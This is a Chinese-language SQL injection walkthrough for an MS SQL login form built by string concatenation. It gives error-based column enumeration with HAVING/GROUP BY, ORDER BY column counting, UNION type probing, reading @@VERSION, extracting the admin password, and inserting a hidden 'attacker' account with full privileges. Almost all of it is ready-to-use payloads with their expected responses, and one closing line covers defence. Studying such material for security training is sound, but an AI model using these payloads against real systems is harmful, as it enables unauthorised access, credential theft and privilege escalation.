var sql = "SELECT * FROM Users WHERE UserName = '" + txtUser.Text + "' AND PassWord = '" + txtPass.Text + "'";
利用 `HAVING` 必須配合 `GROUP BY` 或聚合函數的特性,強制報錯洩露資訊。
UserName: ' HAVING 1=1--
-- 錯誤: Column 'Users.ID' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
-- → 表名 Users,第一欄 ID
UserName: ' GROUP BY Users.ID HAVING 1=1--
-- 錯誤: Column 'Users.UserName' is invalid... → 第二欄 UserName
UserName: ' GROUP BY Users.ID, Users.UserName HAVING 1=1--
-- 錯誤: Column 'Users.PassWord' is invalid... → 第三欄 PassWord
UserName: ' GROUP BY Users.ID, Users.UserName, Users.PassWord HAVING 1=1--
-- 錯誤: Column 'Users.Privs' is invalid... → 第四欄 Privs
UserName: ' GROUP BY Users.ID, Users.UserName, Users.PassWord, Users.Privs HAVING 1=1--
-- 無錯誤 → 所有欄位枚舉完畢,順序: ID, UserName, PassWord, Privs
前提:已知欄位數 (4) 與順序。
' ORDER BY 1-- -- 成功
' ORDER BY 2-- -- 成功
' ORDER BY 3-- -- 成功
' ORDER BY 4-- -- 成功
' ORDER BY 5-- -- 錯誤 → 列數 = 4
' UNION SELECT SUM(UserName), 1, 1, 1 FROM Users--
-- 錯誤: cannot take a varchar data type → 第 1 欄 (ID) 為數值型,但 UserName 為 VARCHAR
-- 實際測試各欄位:
' UNION SELECT SUM(ID), 1, 1, 1 FROM Users-- -- 成功 → ID 為數值
' UNION SELECT SUM(UserName), 1, 1, 1 FROM Users-- -- 失敗 → UserName 為字串
' UNION SELECT SUM(PassWord), 1, 1, 1 FROM Users-- -- 失敗 → PassWord 為字串
' UNION SELECT SUM(Privs), 1, 1, 1 FROM Users-- -- 成功 → Privs 為數值
'; INSERT INTO Users VALUES (666, 'attacker', 'foobar', 0xFFFF)--
-- 666=INT, 'attacker'=VARCHAR, 'foobar'=VARCHAR, 0xFFFF=INT (Privs)
-- 讀取版本
' UNION SELECT @@VERSION, 1, 1, 1--
-- 讀取第一個用戶名
' UNION SELECT MIN(UserName), 1, 1, 1 FROM Users WHERE UserName > 'a'--
-- 遞增枚舉
' UNION SELECT MIN(UserName), 1, 1, 1 FROM Users WHERE UserName > 'admin'--
-- 讀取密碼
' UNION SELECT PassWord, 1, 1, 1 FROM Users WHERE UserName = 'admin'--
**核心防禦**:參數化查詢 (阻斷步驟 1 之後所有步驟) + 錯誤不回顯 (阻斷步驟 2-5 資訊洩露) + 最小權限 (阻斷步驟 6)。